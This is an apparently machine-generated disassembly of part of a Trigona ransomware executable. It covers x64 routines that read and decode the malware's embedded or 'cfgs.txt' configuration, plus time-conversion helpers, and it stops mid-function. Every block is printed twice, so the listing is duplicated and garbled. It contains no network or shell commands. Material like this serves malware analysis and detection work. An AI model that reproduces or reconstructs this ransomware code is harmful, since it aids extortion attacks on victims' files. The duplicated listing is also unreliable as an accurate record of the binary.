File trigona_be6dfedd91e1ebc81d58a61b05b0ef93322425b247636a0f7f5c3eeebbc52edd.exe
Function:
Loading..
00437c10
00437c10fn_437c10:
00437c10push rbp
00437c11sub rsp, 80
00437c15mov rbp, rsp
00437c18mov [rbp+56], rbp
00437c1cmov [rbp+96], rcx
00437c20mov [rbp+79], 0
00437c24nop
00437c25mov rcx, [rip-3612]
00437c2cmov dl, 1
00437c2emov r8, [rip+0x3363b]
00437c35lea r9, [rip+192]
00437c3clea rax, [rip+195]
00437c43mov [rsp+32], rax
00437c48call TSimpleResourcesStream.Create
00437c4dmov [rbp+64], rax
00437c51mov rax, [rbp+64]
00437c55cmp [rax+8], 0
00437c59jne 0x437c66
00437c5bmov rcx, [rbp+64]
00437c5fcall TObject.Free
00437c64jmp 0x437cd2
00437c66
00437c66loc_437c66:
00437c66mov rcx, [rbp+96]
00437c6amov rdx, [rip-36433]
00437c71call fn_410600
00437c76mov rcx, [rbp+96]
00437c7amov rdx, [rip-36449]
00437c81mov r8l, 1
00437c87mov rax, [rbp+64]
00437c8bmov r9, [rax+48]
00437c8fcall fn_410430
00437c94mov rcx, [rbp+64]
00437c98mov rax, [rbp+96]
00437c9cmov rdx, [rax]
00437c9fmov rax, [rbp+64]
00437ca3mov r8l, [rax+48]
00437ca7call TSimpleResourcesStream.ReadBuffer
00437cactest al, al
00437caejne 0x437cbb
00437cb0mov rcx, [rbp+64]
00437cb4call TObject.Free
00437cb9jmp 0x437cd2
00437cbb
00437cbbloc_437cbb:
00437cbbmov rcx, [rbp+64]
00437cbfcall TObject.Free
00437cc4mov [rbp+79], 1
00437cc8jmp 0x437cd2
00437cca
00437cca 90 90 e8 4f 34 fd ...O4.
00437cd0 ff 90 ..
00437cd2
00437cd2loc_437cd2:
00437cd2movzx rax, [rbp+79]
00437cd7lea rsp, [rbp+80]
00437cdbpop rbp
00437cdcret
00437c10
00437c10fn_437c10:
00437c10push rbp
00437c11sub rsp, 80
00437c15mov rbp, rsp
00437c18mov [rbp+56], rbp
00437c1cmov [rbp+96], rcx
00437c20mov [rbp+79], 0
00437c24nop
00437c25mov rcx, [rip-3612]
00437c2cmov dl, 1
00437c2emov r8, [rip+0x3363b]
00437c35lea r9, [rip+192]
00437c3clea rax, [rip+195]
00437c43mov [rsp+32], rax
00437c48call TSimpleResourcesStream.Create
00437c4dmov [rbp+64], rax
00437c51mov rax, [rbp+64]
00437c55cmp [rax+8], 0
00437c59jne 0x437c66
00437c5bmov rcx, [rbp+64]
00437c5fcall TObject.Free
00437c64jmp 0x437cd2
00437c66
00437c66loc_437c66:
00437c66mov rcx, [rbp+96]
00437c6amov rdx, [rip-36433]
00437c71call fn_410600
00437c76mov rcx, [rbp+96]
00437c7amov rdx, [rip-36449]
00437c81mov r8l, 1
00437c87mov rax, [rbp+64]
00437c8bmov r9, [rax+48]
00437c8fcall fn_410430
00437c94mov rcx, [rbp+64]
00437c98mov rax, [rbp+96]
00437c9cmov rdx, [rax]
00437c9fmov rax, [rbp+64]
00437ca3mov r8l, [rax+48]
00437ca7call TSimpleResourcesStream.ReadBuffer
00437cactest al, al
00437caejne 0x437cbb
00437cb0mov rcx, [rbp+64]
00437cb4call TObject.Free
00437cb9jmp 0x437cd2
00437cbb
00437cbbloc_437cbb:
00437cbbmov rcx, [rbp+64]
00437cbfcall TObject.Free
00437cc4mov [rbp+79], 1
00437cc8jmp 0x437cd2
00437cca
00437cca 90 90 e8 4f 34 fd ...O4.
00437cd0 ff 90 ..
00437cd2
00437cd2loc_437cd2:
00437cd2movzx rax, [rbp+79]
00437cd7lea rsp, [rbp+80]
00437cdbpop rbp
00437cdcret
00437c10
00437cdd
00437cdd 48 8b c0 H..
00437cdd 48 8b c0 H..
00437ce0
00437ce0fn_437ce0:
00437ce0sub rsp, 40
00437ce4call fn_40b050
00437ce9add rsp, 40
00437cedret
00437ce0
00437ce0fn_437ce0:
00437ce0sub rsp, 40
00437ce4call fn_40b050
00437ce9add rsp, 40
00437cedret
00437ce0
00437cee
00437cee 00 00 ..
00437cf0 b0 04 02 00 ff ff ff ff 04 00 00 00 63 00 66 00 ............c.f.
00437d00 67 00 73 00 00 00 53 00 54 00 52 00 49 00 4e 00 g.s...S.T.R.I.N.
00437d10 47 00 00 00 cc cc cc cc cc cc cc cc cc cc cc cc G...............
00437cee 00 00 ..
00437cf0 b0 04 02 00 ff ff ff ff 04 00 00 00 63 00 66 00 ............c.f.
00437d00 67 00 73 00 00 00 53 00 54 00 52 00 49 00 4e 00 g.s...S.T.R.I.N.
00437d10 47 00 00 00 cc cc cc cc cc cc cc cc cc cc cc cc G...............
00437d20
00437d20fn_437d20:
00437d20push rbp
00437d21push rbx
00437d22sub rsp, 104
00437d26mov rbp, rsp
00437d29mov [rbp+64], rdx
00437d2dmov [rbp+128], rcx
00437d34lea rcx, [rbp+128]
00437d3bcall fn_40bf00
00437d40nop
00437d41xor eax, eax
00437d43mov [rbp+79], al
00437d46mov rcx, [rbp+128]
00437d4dcall fn_40d180
00437d52mov rcx, rax
00437d55mov edx, 0xffffffffc0000000
00437d5axor r8, r8
00437d5dxor r9, r9
00437d60mov [rsp+32], 3
00437d68mov [rsp+40], 128
00437d70mov [rsp+48], 0
00437d79call CreateFileW
00437d7emov rbx, rax
00437d81cmp rbx, -1
00437d85je 0x437e18
00437d8bmov rcx, rbx
00437d8elea rdx, [rbp+88]
00437d92call GetFileSizeEx
00437d97test eax, eax
00437d99jne 0x437da5
00437d9bmov rcx, rbx
00437d9ecall CloseHandle
00437da3jmp 0x437e18
00437da5
00437da5loc_437da5:
00437da5mov rcx, [rbp+64]
00437da9mov rdx, [rip-36752]
00437db0call fn_410600
00437db5mov rcx, [rbp+64]
00437db9mov rdx, [rip-36768]
00437dc0mov r8l, 1
00437dc6mov r9, [rbp+88]
00437dcacall fn_410430
00437dcfmov [rbp+84], 0
00437dd6mov rcx, rbx
00437dd9xor edx, edx
00437ddbxor r8, r8
00437ddexor r9, r9
00437de1call SetFilePointerEx
00437de6test eax, eax
00437de8je 0x437e0a
00437deamov rcx, rbx
00437dedmov rax, [rbp+64]
00437df1mov rdx, [rax]
00437df4mov r8l, [rbp+88]
00437df8lea r9, [rbp+84]
00437dfcmov [rsp+32], 0
00437e05call ReadFile
00437e0a
00437e0aloc_437e0a:
00437e0amov rcx, rbx
00437e0dcall CloseHandle
00437e12mov al, 1
00437e14mov [rbp+79], al
00437e17nop
00437e18
00437e18loc_437e18:
00437e18lea rcx, [rbp+128]
00437e1fcall fn_40bd90
00437e24movzx rax, [rbp+79]
00437e29lea rsp, [rbp+104]
00437e2dpop rbx
00437e2epop rbp
00437e2fret
00437d20
00437d20fn_437d20:
00437d20push rbp
00437d21push rbx
00437d22sub rsp, 104
00437d26mov rbp, rsp
00437d29mov [rbp+64], rdx
00437d2dmov [rbp+128], rcx
00437d34lea rcx, [rbp+128]
00437d3bcall fn_40bf00
00437d40nop
00437d41xor eax, eax
00437d43mov [rbp+79], al
00437d46mov rcx, [rbp+128]
00437d4dcall fn_40d180
00437d52mov rcx, rax
00437d55mov edx, 0xffffffffc0000000
00437d5axor r8, r8
00437d5dxor r9, r9
00437d60mov [rsp+32], 3
00437d68mov [rsp+40], 128
00437d70mov [rsp+48], 0
00437d79call CreateFileW
00437d7emov rbx, rax
00437d81cmp rbx, -1
00437d85je 0x437e18
00437d8bmov rcx, rbx
00437d8elea rdx, [rbp+88]
00437d92call GetFileSizeEx
00437d97test eax, eax
00437d99jne 0x437da5
00437d9bmov rcx, rbx
00437d9ecall CloseHandle
00437da3jmp 0x437e18
00437da5
00437da5loc_437da5:
00437da5mov rcx, [rbp+64]
00437da9mov rdx, [rip-36752]
00437db0call fn_410600
00437db5mov rcx, [rbp+64]
00437db9mov rdx, [rip-36768]
00437dc0mov r8l, 1
00437dc6mov r9, [rbp+88]
00437dcacall fn_410430
00437dcfmov [rbp+84], 0
00437dd6mov rcx, rbx
00437dd9xor edx, edx
00437ddbxor r8, r8
00437ddexor r9, r9
00437de1call SetFilePointerEx
00437de6test eax, eax
00437de8je 0x437e0a
00437deamov rcx, rbx
00437dedmov rax, [rbp+64]
00437df1mov rdx, [rax]
00437df4mov r8l, [rbp+88]
00437df8lea r9, [rbp+84]
00437dfcmov [rsp+32], 0
00437e05call ReadFile
00437e0a
00437e0aloc_437e0a:
00437e0amov rcx, rbx
00437e0dcall CloseHandle
00437e12mov al, 1
00437e14mov [rbp+79], al
00437e17nop
00437e18
00437e18loc_437e18:
00437e18lea rcx, [rbp+128]
00437e1fcall fn_40bd90
00437e24movzx rax, [rbp+79]
00437e29lea rsp, [rbp+104]
00437e2dpop rbx
00437e2epop rbp
00437e2fret
00437d20
00437e30
00437e30fn_437e30:
00437e30push rbp
00437e31sub rsp, 32
00437e35mov rbp, rsp
00437e38lea rcx, [rdx+128]
00437e3fcall fn_40bd90
00437e44lea rsp, [rbp+32]
00437e48pop rbp
00437e49ret
00437e30
00437e30fn_437e30:
00437e30push rbp
00437e31sub rsp, 32
00437e35mov rbp, rsp
00437e38lea rcx, [rdx+128]
00437e3fcall fn_40bd90
00437e44lea rsp, [rbp+32]
00437e48pop rbp
00437e49ret
00437e30
00437e4a
00437e4a // align 0x10
00437e4a // align 0x10
00437e50
00437e50fn_437e50:
00437e50push rbp
00437e51sub rsp, 80
00437e55mov rbp, rsp
00437e58mov [rbp+32], rcx
00437e5cmov [rbp+64], 0
00437e64mov [rbp+56], 0
00437e6cnop
00437e6dxor eax, eax
00437e6fmov [rbp+47], al
00437e72mov rax, [rbp+32]
00437e76mov rax, [rax]
00437e79test rax, rax
00437e7cje 0x437e82
00437e7emov rax, [rax-8]
00437e82
00437e82loc_437e82:
00437e82mov [rbp+76], eax
00437e85cmp [rbp+76], 32
00437e89jle 0x437f70
00437e8flea rcx, [rbp+64]
00437e93mov rdx, [rip-36986]
00437e9acall fn_410600
00437e9flea rcx, [rbp+64]
00437ea3mov rdx, [rip-37002]
00437eaamov r8l, 1
00437eb0mov r9l, 32
00437eb6call fn_410430
00437ebbmov rax, [rbp+32]
00437ebfmov rcx, [rax]
00437ec2mov rdx, [rbp+64]
00437ec6mov r8l, 32
00437ecccall fn_405ac0
00437ed1sub [rbp+76], 32
00437ed5lea rcx, [rbp+56]
00437ed9mov rdx, [rip-37056]
00437ee0call fn_410600
00437ee5lea rcx, [rbp+56]
00437ee9mov rdx, [rip-37072]
00437ef0mov r8l, 1
00437ef6movsxd r9, [rbp+76]
00437efacall fn_410430
00437effmov rax, [rbp+32]
00437f03mov rax, [rax]
00437f06lea rcx, [rax+32]
00437f0amov rdx, [rbp+56]
00437f0emovsxd r8, [rbp+76]
00437f12call fn_405ac0
00437f17lea rcx, [rbp+56]
00437f1blea rdx, [rbp+76]
00437f1fmov r8, [rbp+64]
00437f23call fn_4369e0
00437f28test al, al
00437f2aje 0x437f70
00437f2cmov rcx, [rbp+32]
00437f30mov rdx, [rip-37143]
00437f37call fn_410600
00437f3cmov rcx, [rbp+32]
00437f40mov rdx, [rip-37159]
00437f47mov r8l, 1
00437f4dmovsxd r9, [rbp+76]
00437f51call fn_410430
00437f56mov rcx, [rbp+56]
00437f5amov rax, [rbp+32]
00437f5emov rdx, [rax]
00437f61movsxd r8, [rbp+76]
00437f65call fn_405ac0
00437f6amov al, 1
00437f6cmov [rbp+47], al
00437f6fnop
00437f70
00437f70loc_437f70:
00437f70lea rcx, [rbp+56]
00437f74mov rdx, [rip-37211]
00437f7bmov r8l, 2
00437f81call fn_40ec40
00437f86movzx rax, [rbp+47]
00437f8blea rsp, [rbp+80]
00437f8fpop rbp
00437f90ret
00437e50
00437e50fn_437e50:
00437e50push rbp
00437e51sub rsp, 80
00437e55mov rbp, rsp
00437e58mov [rbp+32], rcx
00437e5cmov [rbp+64], 0
00437e64mov [rbp+56], 0
00437e6cnop
00437e6dxor eax, eax
00437e6fmov [rbp+47], al
00437e72mov rax, [rbp+32]
00437e76mov rax, [rax]
00437e79test rax, rax
00437e7cje 0x437e82
00437e7emov rax, [rax-8]
00437e82
00437e82loc_437e82:
00437e82mov [rbp+76], eax
00437e85cmp [rbp+76], 32
00437e89jle 0x437f70
00437e8flea rcx, [rbp+64]
00437e93mov rdx, [rip-36986]
00437e9acall fn_410600
00437e9flea rcx, [rbp+64]
00437ea3mov rdx, [rip-37002]
00437eaamov r8l, 1
00437eb0mov r9l, 32
00437eb6call fn_410430
00437ebbmov rax, [rbp+32]
00437ebfmov rcx, [rax]
00437ec2mov rdx, [rbp+64]
00437ec6mov r8l, 32
00437ecccall fn_405ac0
00437ed1sub [rbp+76], 32
00437ed5lea rcx, [rbp+56]
00437ed9mov rdx, [rip-37056]
00437ee0call fn_410600
00437ee5lea rcx, [rbp+56]
00437ee9mov rdx, [rip-37072]
00437ef0mov r8l, 1
00437ef6movsxd r9, [rbp+76]
00437efacall fn_410430
00437effmov rax, [rbp+32]
00437f03mov rax, [rax]
00437f06lea rcx, [rax+32]
00437f0amov rdx, [rbp+56]
00437f0emovsxd r8, [rbp+76]
00437f12call fn_405ac0
00437f17lea rcx, [rbp+56]
00437f1blea rdx, [rbp+76]
00437f1fmov r8, [rbp+64]
00437f23call fn_4369e0
00437f28test al, al
00437f2aje 0x437f70
00437f2cmov rcx, [rbp+32]
00437f30mov rdx, [rip-37143]
00437f37call fn_410600
00437f3cmov rcx, [rbp+32]
00437f40mov rdx, [rip-37159]
00437f47mov r8l, 1
00437f4dmovsxd r9, [rbp+76]
00437f51call fn_410430
00437f56mov rcx, [rbp+56]
00437f5amov rax, [rbp+32]
00437f5emov rdx, [rax]
00437f61movsxd r8, [rbp+76]
00437f65call fn_405ac0
00437f6amov al, 1
00437f6cmov [rbp+47], al
00437f6fnop
00437f70
00437f70loc_437f70:
00437f70lea rcx, [rbp+56]
00437f74mov rdx, [rip-37211]
00437f7bmov r8l, 2
00437f81call fn_40ec40
00437f86movzx rax, [rbp+47]
00437f8blea rsp, [rbp+80]
00437f8fpop rbp
00437f90ret
00437e50
00437f91
00437f91 48 8d 80 00 00 00 00 48 8d 04 05 00 00 00 00 H......H.......
00437f91 48 8d 80 00 00 00 00 48 8d 04 05 00 00 00 00 H......H.......
00437fa0
00437fa0fn_437fa0:
00437fa0push rbp
00437fa1sub rsp, 32
00437fa5mov rbp, rsp
00437fa8lea rcx, [rdx+56]
00437facmov rdx, [rip-37267]
00437fb3mov r8l, 2
00437fb9call fn_40ec40
00437fbelea rsp, [rbp+32]
00437fc2pop rbp
00437fc3ret
00437fa0
00437fa0fn_437fa0:
00437fa0push rbp
00437fa1sub rsp, 32
00437fa5mov rbp, rsp
00437fa8lea rcx, [rdx+56]
00437facmov rdx, [rip-37267]
00437fb3mov r8l, 2
00437fb9call fn_40ec40
00437fbelea rsp, [rbp+32]
00437fc2pop rbp
00437fc3ret
00437fa0
00437fc4
00437fc4 // align 0x10
00437fc4 // align 0x10
00437fd0
00437fd0fn_437fd0:
00437fd0push rbp
00437fd1push rbx
00437fd2sub rsp, 88
00437fd6mov rbp, rsp
00437fd9mov [rbp+56], 0
00437fe1mov [rbp+40], 0
00437fe9mov [rbp+48], 0
00437ff1mov [rbp+72], 0
00437ff9mov [rbp+64], 0
00438001nop
00438002xor eax, eax
00438004mov [rbp+39], al
00438007lea rcx, [rbp+72]
0043800bcall fn_437c10
00438010test al, al
00438012jne 0x43805e
00438014lea rcx, [rbp+48]
00438018xor edx, edx
0043801acall fn_405df0
0043801flea rcx, [rbp+56]
00438023mov rdx, [rbp+48]
00438027call fn_422b00
0043802clea rcx, [rbp+56]
00438030lea rdx, [rip+693]
00438037call fn_40d9b0
0043803clea rcx, [rbp+40]
00438040mov rdx, [rbp+56]
00438044call fn_40d850
00438049mov rcx, [rbp+40]
0043804dlea rdx, [rbp+72]
00438051call fn_437d20
00438056test al, al
00438058je 0x438260
0043805e
0043805eloc_43805e:
0043805elea rcx, [rbp+72]
00438062call fn_437e50
00438067test al, al
00438069je 0x438260
0043806fmov rax, [rbp+72]
00438073test rax, rax
00438076je 0x43807c
00438078mov rax, [rax-8]
0043807c
0043807cloc_43807c:
0043807ccmp rax, 4
00438080jl 0x438260
00438086lea rcx, [rbp+72]
0043808alea rdx, [rbp+64]
0043808exor r8, r8
00438091mov r9l, 4
00438097call fn_430a50
0043809cmov rax, [rbp+72]
004380a0test rax, rax
004380a3je 0x4380a9
004380a5mov rax, [rax-8]
004380a9
004380a9loc_4380a9:
004380a9lea rcx, [rbp+72]
004380adlea rdx, [rbp+72]
004380b1mov r8l, 4
004380b7mov r9l, eax
004380basub r9l, 4
004380becall fn_430a50
004380c3lea rcx, [rbp+64]
004380c7call fn_430a00
004380ccmov ebx, eax
004380cemov rax, [rbp+72]
004380d2test rax, rax
004380d5je 0x4380db
004380d7mov rax, [rax-8]
004380db
004380dbloc_4380db:
004380dbcmp eax, ebx
004380ddjb 0x438260
004380e3lea rcx, [rbp+72]
004380e7mov rdx, [rip+0x2bed2]
004380eexor r8, r8
004380f1mov r9l, ebx
004380f4call fn_430a50
004380f9mov rax, [rbp+72]
004380fdtest rax, rax
00438100je 0x438106
00438102mov rax, [rax-8]
00438106
00438106loc_438106:
00438106lea rcx, [rbp+72]
0043810alea rdx, [rbp+72]
0043810emov r8l, ebx
00438111mov r9l, eax
00438114sub r9l, ebx
00438117call fn_430a50
0043811cmov rax, [rbp+72]
00438120test rax, rax
00438123je 0x438129
00438125mov rax, [rax-8]
00438129
00438129loc_438129:
00438129cmp rax, 4
0043812djl 0x438260
00438133lea rcx, [rbp+72]
00438137lea rdx, [rbp+64]
0043813bxor r8, r8
0043813emov r9l, 4
00438144call fn_430a50
00438149mov rax, [rbp+72]
0043814dtest rax, rax
00438150je 0x438156
00438152mov rax, [rax-8]
00438156
00438156loc_438156:
00438156lea rcx, [rbp+72]
0043815alea rdx, [rbp+72]
0043815emov r8l, 4
00438164mov r9l, eax
00438167sub r9l, 4
0043816bcall fn_430a50
00438170lea rcx, [rbp+64]
00438174call fn_430a00
00438179mov ebx, eax
0043817bmov rax, [rbp+72]
0043817ftest rax, rax
00438182je 0x438188
00438184mov rax, [rax-8]
00438188
00438188loc_438188:
00438188cmp eax, ebx
0043818ajb 0x438260
00438190lea rcx, [rbp+72]
00438194mov rax, [rip+0x2be25]
0043819blea rdx, [rax+160]
004381a2xor r8, r8
004381a5mov r9l, ebx
004381a8call fn_430a50
004381admov rax, [rbp+72]
004381b1test rax, rax
004381b4je 0x4381ba
004381b6mov rax, [rax-8]
004381ba
004381baloc_4381ba:
004381balea rcx, [rbp+72]
004381belea rdx, [rbp+72]
004381c2mov r8l, ebx
004381c5mov r9l, eax
004381c8sub r9l, ebx
004381cbcall fn_430a50
004381d0mov rax, [rbp+72]
004381d4test rax, rax
004381d7je 0x4381dd
004381d9mov rax, [rax-8]
004381dd
004381ddloc_4381dd:
004381ddcmp rax, 4
004381e1jl 0x438260
004381e3lea rcx, [rbp+72]
004381e7lea rdx, [rbp+64]
004381ebxor r8, r8
004381eemov r9l, 4
004381f4call fn_430a50
004381f9mov rax, [rbp+72]
004381fdtest rax, rax
00438200je 0x438206
00438202mov rax, [rax-8]
00438206
00438206loc_438206:
00438206lea rcx, [rbp+72]
0043820alea rdx, [rbp+72]
0043820emov r8l, 4
00438214mov r9l, eax
00438217sub r9l, 4
0043821bcall fn_430a50
00438220lea rcx, [rbp+64]
00438224call fn_430a00
00438229mov ebx, eax
0043822blea rcx, [rbp+72]
0043822fmov rax, [rip+0x2bd8a]
00438236lea rdx, [rax+152]
0043823dxor r8, r8
00438240mov r9l, ebx
00438243call fn_430a50
00438248call fn_4374a0
0043824dtest al, al
0043824fje 0x438260
00438251call fn_4379d0
00438256test al, al
00438258je 0x438260
0043825amov al, 1
0043825cmov [rbp+39], al
0043825fnop
00438260
00438260loc_438260:
00438260lea rcx, [rbp+40]
00438264call fn_40bd90
00438269lea rcx, [rbp+48]
0043826dmov edx, 2
00438272call fn_40bdd0
00438277lea rcx, [rbp+64]
0043827bmov rdx, [rip-37986]
00438282mov r8l, 2
00438288call fn_40ec40
0043828dmovzx rax, [rbp+39]
00438292lea rsp, [rbp+88]
00438296pop rbx
00438297pop rbp
00438298ret
00437fd0
00437fd0fn_437fd0:
00437fd0push rbp
00437fd1push rbx
00437fd2sub rsp, 88
00437fd6mov rbp, rsp
00437fd9mov [rbp+56], 0
00437fe1mov [rbp+40], 0
00437fe9mov [rbp+48], 0
00437ff1mov [rbp+72], 0
00437ff9mov [rbp+64], 0
00438001nop
00438002xor eax, eax
00438004mov [rbp+39], al
00438007lea rcx, [rbp+72]
0043800bcall fn_437c10
00438010test al, al
00438012jne 0x43805e
00438014lea rcx, [rbp+48]
00438018xor edx, edx
0043801acall fn_405df0
0043801flea rcx, [rbp+56]
00438023mov rdx, [rbp+48]
00438027call fn_422b00
0043802clea rcx, [rbp+56]
00438030lea rdx, [rip+693]
00438037call fn_40d9b0
0043803clea rcx, [rbp+40]
00438040mov rdx, [rbp+56]
00438044call fn_40d850
00438049mov rcx, [rbp+40]
0043804dlea rdx, [rbp+72]
00438051call fn_437d20
00438056test al, al
00438058je 0x438260
0043805e
0043805eloc_43805e:
0043805elea rcx, [rbp+72]
00438062call fn_437e50
00438067test al, al
00438069je 0x438260
0043806fmov rax, [rbp+72]
00438073test rax, rax
00438076je 0x43807c
00438078mov rax, [rax-8]
0043807c
0043807cloc_43807c:
0043807ccmp rax, 4
00438080jl 0x438260
00438086lea rcx, [rbp+72]
0043808alea rdx, [rbp+64]
0043808exor r8, r8
00438091mov r9l, 4
00438097call fn_430a50
0043809cmov rax, [rbp+72]
004380a0test rax, rax
004380a3je 0x4380a9
004380a5mov rax, [rax-8]
004380a9
004380a9loc_4380a9:
004380a9lea rcx, [rbp+72]
004380adlea rdx, [rbp+72]
004380b1mov r8l, 4
004380b7mov r9l, eax
004380basub r9l, 4
004380becall fn_430a50
004380c3lea rcx, [rbp+64]
004380c7call fn_430a00
004380ccmov ebx, eax
004380cemov rax, [rbp+72]
004380d2test rax, rax
004380d5je 0x4380db
004380d7mov rax, [rax-8]
004380db
004380dbloc_4380db:
004380dbcmp eax, ebx
004380ddjb 0x438260
004380e3lea rcx, [rbp+72]
004380e7mov rdx, [rip+0x2bed2]
004380eexor r8, r8
004380f1mov r9l, ebx
004380f4call fn_430a50
004380f9mov rax, [rbp+72]
004380fdtest rax, rax
00438100je 0x438106
00438102mov rax, [rax-8]
00438106
00438106loc_438106:
00438106lea rcx, [rbp+72]
0043810alea rdx, [rbp+72]
0043810emov r8l, ebx
00438111mov r9l, eax
00438114sub r9l, ebx
00438117call fn_430a50
0043811cmov rax, [rbp+72]
00438120test rax, rax
00438123je 0x438129
00438125mov rax, [rax-8]
00438129
00438129loc_438129:
00438129cmp rax, 4
0043812djl 0x438260
00438133lea rcx, [rbp+72]
00438137lea rdx, [rbp+64]
0043813bxor r8, r8
0043813emov r9l, 4
00438144call fn_430a50
00438149mov rax, [rbp+72]
0043814dtest rax, rax
00438150je 0x438156
00438152mov rax, [rax-8]
00438156
00438156loc_438156:
00438156lea rcx, [rbp+72]
0043815alea rdx, [rbp+72]
0043815emov r8l, 4
00438164mov r9l, eax
00438167sub r9l, 4
0043816bcall fn_430a50
00438170lea rcx, [rbp+64]
00438174call fn_430a00
00438179mov ebx, eax
0043817bmov rax, [rbp+72]
0043817ftest rax, rax
00438182je 0x438188
00438184mov rax, [rax-8]
00438188
00438188loc_438188:
00438188cmp eax, ebx
0043818ajb 0x438260
00438190lea rcx, [rbp+72]
00438194mov rax, [rip+0x2be25]
0043819blea rdx, [rax+160]
004381a2xor r8, r8
004381a5mov r9l, ebx
004381a8call fn_430a50
004381admov rax, [rbp+72]
004381b1test rax, rax
004381b4je 0x4381ba
004381b6mov rax, [rax-8]
004381ba
004381baloc_4381ba:
004381balea rcx, [rbp+72]
004381belea rdx, [rbp+72]
004381c2mov r8l, ebx
004381c5mov r9l, eax
004381c8sub r9l, ebx
004381cbcall fn_430a50
004381d0mov rax, [rbp+72]
004381d4test rax, rax
004381d7je 0x4381dd
004381d9mov rax, [rax-8]
004381dd
004381ddloc_4381dd:
004381ddcmp rax, 4
004381e1jl 0x438260
004381e3lea rcx, [rbp+72]
004381e7lea rdx, [rbp+64]
004381ebxor r8, r8
004381eemov r9l, 4
004381f4call fn_430a50
004381f9mov rax, [rbp+72]
004381fdtest rax, rax
00438200je 0x438206
00438202mov rax, [rax-8]
00438206
00438206loc_438206:
00438206lea rcx, [rbp+72]
0043820alea rdx, [rbp+72]
0043820emov r8l, 4
00438214mov r9l, eax
00438217sub r9l, 4
0043821bcall fn_430a50
00438220lea rcx, [rbp+64]
00438224call fn_430a00
00438229mov ebx, eax
0043822blea rcx, [rbp+72]
0043822fmov rax, [rip+0x2bd8a]
00438236lea rdx, [rax+152]
0043823dxor r8, r8
00438240mov r9l, ebx
00438243call fn_430a50
00438248call fn_4374a0
0043824dtest al, al
0043824fje 0x438260
00438251call fn_4379d0
00438256test al, al
00438258je 0x438260
0043825amov al, 1
0043825cmov [rbp+39], al
0043825fnop
00438260
00438260loc_438260:
00438260lea rcx, [rbp+40]
00438264call fn_40bd90
00438269lea rcx, [rbp+48]
0043826dmov edx, 2
00438272call fn_40bdd0
00438277lea rcx, [rbp+64]
0043827bmov rdx, [rip-37986]
00438282mov r8l, 2
00438288call fn_40ec40
0043828dmovzx rax, [rbp+39]
00438292lea rsp, [rbp+88]
00438296pop rbx
00438297pop rbp
00438298ret
00437fd0
00438299
00438299 48 8d 80 00 00 00 00 H......
00438299 48 8d 80 00 00 00 00 H......
004382a0
004382a0fn_4382a0:
004382a0push rbp
004382a1push rbx
004382a2sub rsp, 40
004382a6mov rbp, rsp
004382a9mov rbx, rdx
004382aclea rcx, [rbx+40]
004382b0call fn_40bd90
004382b5lea rcx, [rbx+48]
004382b9mov edx, 2
004382becall fn_40bdd0
004382c3lea rcx, [rbx+64]
004382c7mov rdx, [rip-38062]
004382cemov r8l, 2
004382d4call fn_40ec40
004382d9lea rsp, [rbp+40]
004382ddpop rbx
004382depop rbp
004382dfret
004382a0
004382a0fn_4382a0:
004382a0push rbp
004382a1push rbx
004382a2sub rsp, 40
004382a6mov rbp, rsp
004382a9mov rbx, rdx
004382aclea rcx, [rbx+40]
004382b0call fn_40bd90
004382b5lea rcx, [rbx+48]
004382b9mov edx, 2
004382becall fn_40bdd0
004382c3lea rcx, [rbx+64]
004382c7mov rdx, [rip-38062]
004382cemov r8l, 2
004382d4call fn_40ec40
004382d9lea rsp, [rbp+40]
004382ddpop rbx
004382depop rbp
004382dfret
004382a0
004382e0
004382e0 b0 04 02 00 ff ff ff ff 08 00 00 00 63 00 66 00 ............c.f.
004382f0 67 00 73 00 2e 00 74 00 78 00 74 00 00 00 cc cc g.s...t.x.t.....
004382e0 b0 04 02 00 ff ff ff ff 08 00 00 00 63 00 66 00 ............c.f.
004382f0 67 00 73 00 2e 00 74 00 78 00 74 00 00 00 cc cc g.s...t.x.t.....
00438300
00438300Unit37.finalization:
00438300add [rip+0x38071], 1
00438307cmp [rip+0x3806a], 0
0043830eret
00438300
00438300Unit37.finalization:
00438300add [rip+0x38071], 1
00438307cmp [rip+0x3806a], 0
0043830eret
00438300
0043830f
0043830f // align 0x10
0043830f // align 0x10
00438310
00438310Unit37.initialization:
00438310sub [rip+0x38061], 1
00438317cmp [rip+0x3805a], -1
0043831eret
00438310
00438310Unit37.initialization:
00438310sub [rip+0x38061], 1
00438317cmp [rip+0x3805a], -1
0043831eret
00438310
0043831f
0043831f // align 0x10
0043831f // align 0x10
00438320
00438320fn_438320:
00438320push rbp
00438321push rbx
00438322sub rsp, 56
00438326mov rbp, rsp
00438329mov rbx, rdx
0043832ccall fn_4256c0
00438331mov [rbp+40], rax
00438335lea rcx, [rbp+40]
00438339call fn_425860
0043833eadd rax, rbx
00438341mov rcx, rax
00438344call fn_425810
00438349mov [rbp+40], rax
0043834dlea rcx, [rbp+40]
00438351call fn_4257b0
00438356lea rsp, [rbp+56]
0043835apop rbx
0043835bpop rbp
0043835cret
00438320
00438320fn_438320:
00438320push rbp
00438321push rbx
00438322sub rsp, 56
00438326mov rbp, rsp
00438329mov rbx, rdx
0043832ccall fn_4256c0
00438331mov [rbp+40], rax
00438335lea rcx, [rbp+40]
00438339call fn_425860
0043833eadd rax, rbx
00438341mov rcx, rax
00438344call fn_425810
00438349mov [rbp+40], rax
0043834dlea rcx, [rbp+40]
00438351call fn_4257b0
00438356lea rsp, [rbp+56]
0043835apop rbx
0043835bpop rbp
0043835cret
00438320
0043835d
0043835d // align 0x10
0043835d // align 0x10
00438360
00438360fn_438360:
00438360sub rsp, 40
00438364imul rdx, rdx, 1000
0043836bcall fn_438320
00438370add rsp, 40
00438374ret
00438360
00438360fn_438360:
00438360sub rsp, 40
00438364imul rdx, rdx, 1000
0043836bcall fn_438320
00438370add rsp, 40
00438374ret
00438360
00438375
00438375 // align 0x10
00438375 // align 0x10
00438380
00438380fn_438380:
00438380sub rsp, 40
00438384imul rdx, rdx, 60
00438388call fn_438360
0043838dadd rsp, 40
00438391ret
00438380
00438380fn_438380:
00438380sub rsp, 40
00438384imul rdx, rdx, 60
00438388call fn_438360
0043838dadd rsp, 40
00438391ret
00438380
00438392
00438392 // align 0x10
00438392 // align 0x10
004383a0
004383a0fn_4383a0:
004383a0sub rsp, 40
004383a4imul rdx, rdx, 60
004383a8call fn_438380
004383adadd rsp, 40
004383b1ret
004383a0
004383a0fn_4383a0:
004383a0sub rsp, 40
004383a4imul rdx, rdx, 60
004383a8call fn_438380
004383adadd rsp, 40
004383b1ret
004383a0
004383b2
004383b2 // align 0x10
004383b2 // align 0x10
004383c0
004383c0fn_4383c0:
004383c0sub rsp, 40
